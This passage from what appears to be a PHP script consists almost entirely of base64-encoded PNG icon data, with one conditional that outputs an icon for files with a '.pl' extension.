YwBWq3WZpsmHEHwVMJd5XKxftfCSJA6FoxxobieZzgDipEET9762bW3rtBF4PsIjaQ61D3GwPUhPID5OJuRbQ5HdjNdlodSlUuZSKXHlD54wGw1YTQZMRgXVpKCaDBgUQSqrkctppLMaI6ks8VSWgeEkOw/3ERhOoiiC1UvqqKoomfAdTSc7Od0zgISzUtE+s/uxjUcu9b2bn9y7SmjKqwLm1leVs2Khb8LzHv8QH7R0oEkNELtSauIP93zzrjDMkBrjtpnZtKKSTSsqSaZznPJHae+P0d4bpXMgRjieJhxP0zZN2+40TRKNTxQEIrEROnoCAKnLkQew+7GNRzY/ufczQlP2n+4ZMNfOLRufZANE44lx8lx13b/74uc/nxt7NuMzYYvZwNJqN0ur82foaFISiqUJRFIMRpIMRlIEInlFOp3Nkcjk1zxSGY1kJoemSVSjgsGgYDIK7GYjNtWI02qizG2hqTOEP5TAUzRxObWzN9/nCfjJ5cgbw+7HNh7Z8v19P5FCPtLZG2D5gurxZ+dsS+P55MFV0AMVIShxqnlXcK5ryvb2n8z7r+eLBAAD+X4PKeR/T/rbFPGcJuUjY2nHUDRqW8Kii9Lo/N5rDvHRdRPVPFEQTSTzblkqkfpwsrZMZFsARhITFSfzqG0BJRemue4JnE5kEsb8oHrh0CrH/1w0D7ruCbSPrh2n0xODgqyW/KK5alWXTNqYlSXARfPKdGZ8rTl4QYrrn8CK4ryYEYlNHIXLPPn+VWriocna0jT50PlpxzA8alvAiQvT6CFwGJgQJnG1oUmJYdTLGQpPVJJr5ngRCITga1t27F95JVubn9y7CsFXBYKaUal/DMHh8bjB9IMvvDDBR9VDYAvA8VkUDS6HRDrHU79upaU7jKKICfM2AJfDRu28MgAVtFcvR+LmJ/euUjTlFcBcV1V2kS2n3Tomh306crrqlU07DhWNPZu0J/KpJ977hpTyqYpiK3/z+8umdcejXgyEkzy9qxV/qDBXLqdYjwIYtMRyKeUXJHyNMVfupoWX3Gs3FI7yXnM76XQG4ISmiHt3P7aubdIEPri9xRyxRJtBLlxdX8Kfbqqf1U19Y5ggJtitbLhpAdYriQmt3XScGZiymJBIpmg83Eok7/V0rk+uq5+05vThnqdz9Xc9vEco4ot9oYTaPRhnha8Y4ywfOiaEQJOS42eGUc0mGmoqz6nNEsLxOBazecL7FaVu5pQVY1AUstkcOU1DUQQOm4WqylJuWlJLdWXpRap1OBZHNZvHm6nRYOD02YH8iC/Fd5/5u6pG/ae37WjcIBCvAJ4Sp8qX7qxl0dyiK6abTuRyku+80MzAcJIVC31UlBbR3TdEd98gI4kUDb5KljZUFbxHWAIt7T20dfZhs6pUV5ZSXVmKfzBM88kugFZX0rX8xe1L0wXl8Tvf278gp2jPAzcDLJpXxL23zKWuQt+i9FRwJUl/brmH1YtrMc6wpF+QbNz25n8Orb710WfTxlQaWDsYSZn3ngjQORDHYjZQ6rRcti+ZDpS7rZzujzEwnEQ1KnxifikPbvSxZn4JTV1hQpERevxDqGYTrnOj6EdCSkm3f4gDze1j05ZhTYr7hCJ+mj+sgPlSYgax6/Wt6/9+LN2US/mZ7zbOzRjE41LwJ2Mn9NpUI6vrPKxpKKF+BuOk/aEEpwdi3DyJZc15FR4qvG5K3ecmyRIYCkfwB8L09AdJJseXNRsNmvLw+cua9z7xrjOF8QGZ0/a9vm3D+IR62kp2zw/2lik55YsSHgJWj91XTQZqyx3Mr3Awv9JJbbkTdYamQOmsRs9gnNazEU6cHabdHyenTdwQ9OlbV2EZdfMSqTQ735mgdB0XiO8567p/dqFs9VGYkaqx6Yl9iw0aDyG4H1h8fj5CCDwOM16XSonLgtel4nWpuGymKyrS2ZwklsoyksoSS2QIxtIMRlIMRVP0BhMMRi86sUMK5PtSiCNI7gZqN9y0iPKSfC0cGBpm7+GTAMelxsOvb1u/X29ZZ3wi99kfHipNZ7MbBdqtUigbkfIWYKYO3Ioh5WEhxCFN8L4k9/burbf2AmzZse9p4M+WL6hmfnV+ybK928/R1m5APrXr8Q2PFJLhjAuqr3z7lkHgl6MXd25/22hUHdUGsnUSUScUWSekrJeIUsA5elnO+y2ACMikgISUIiYUohLRDbIbKXskolsTtBfX9rR+ZNMT8kOkmCD9jwkQEtFSaPlmXZEePef+9Og1i1BaQNJ5NkDn2cAFz7SCCbzu5azJQiq5jyRJNaqTVq0vxP8BPJiLJJzFR7cAAAAASUVORK5CYII="; } elseif ($ext == "pl") { echo "data:image/png;base64,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